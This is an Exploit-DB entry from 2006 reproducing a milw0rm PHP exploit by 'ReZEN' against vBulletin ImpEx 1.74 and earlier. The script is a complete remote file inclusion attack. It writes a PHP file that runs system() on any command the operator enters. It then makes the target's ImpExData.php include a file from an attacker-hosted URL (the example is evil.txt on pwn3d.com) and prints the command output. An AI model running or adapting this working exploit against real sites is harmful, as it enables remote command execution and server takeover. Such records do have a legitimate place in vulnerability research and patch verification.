vBulletin ImpEx <= 1.74 - Remote Command Execution Exploit

2006-04-13T00:00:00
ID EDB-ID:1668
Type exploitdb
Reporter ReZEN
Modified 2006-04-13T00:00:00

Description

vBulletin ImpEx <= 1.74 Remote Command Execution Exploit. Webapps exploit for php platform

                                        
                                            &lt;?php
/*
vbulletin ImpEx Remote File Inclusion Exploit c0ded by ReZEN
Sh0uts: xorcrew.net, ajax, gml, #subterrain, My gf
url:  http://www.xorcrew.net/ReZEN

example:
turl: http://www.target.com/impex/ImpExData.php?systempath=
hurl:http://www.pwn3d.com/evil.txt?

*/

$cmd = $_POST["cmd"];
$turl = $_POST["turl"];
$hurl = $_POST["hurl"];

$form= "&lt;form method=\"post\" action=\"".$PHP_SELF."\"&gt;"
     ."turl:&lt;br&gt;&lt;input type=\"text\" name=\"turl\" size=\"90\" 
value=\"".$turl."\"&gt;&lt;br&gt;"
     ."hurl:&lt;br&gt;&lt;input type=\"text\" name=\"hurl\" size=\"90\" 
value=\"".$hurl."\"&gt;&lt;br&gt;"
     ."cmd:&lt;br&gt;&lt;input type=\"text\" name=\"cmd\" size=\"90\" 
value=\"".$cmd."\"&gt;&lt;br&gt;"
     ."&lt;input type=\"submit\" value=\"Submit\" name=\"submit\"&gt;"

     ."&lt;/form&gt;&lt;HR WIDTH=\"650\" ALIGN=\"LEFT\"&gt;";

if (!isset($_POST['submit']))
{

echo $form;

}else{

$file = fopen ("test.txt", "w+");

fwrite($file, "&lt;?php system(\"echo ++BEGIN++\"); system(\"".$cmd."\");
system(\"echo ++END++\"); ?&gt;");
fclose($file);

$file = fopen ($turl.$hurl, "r");
if (!$file) {
     echo "&lt;p&gt;Unable to get output.\n";
     exit;
}

echo $form;

while (!feof ($file)) {
     $line .= fgets ($file, 1024)."&lt;br&gt;";
     }
$tpos1 = strpos($line, "++BEGIN++");
$tpos2 = strpos($line, "++END++");
$tpos1 = $tpos1+strlen("++BEGIN++");
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
echo $output;

}
?&gt;

# milw0rm.com [2006-04-13]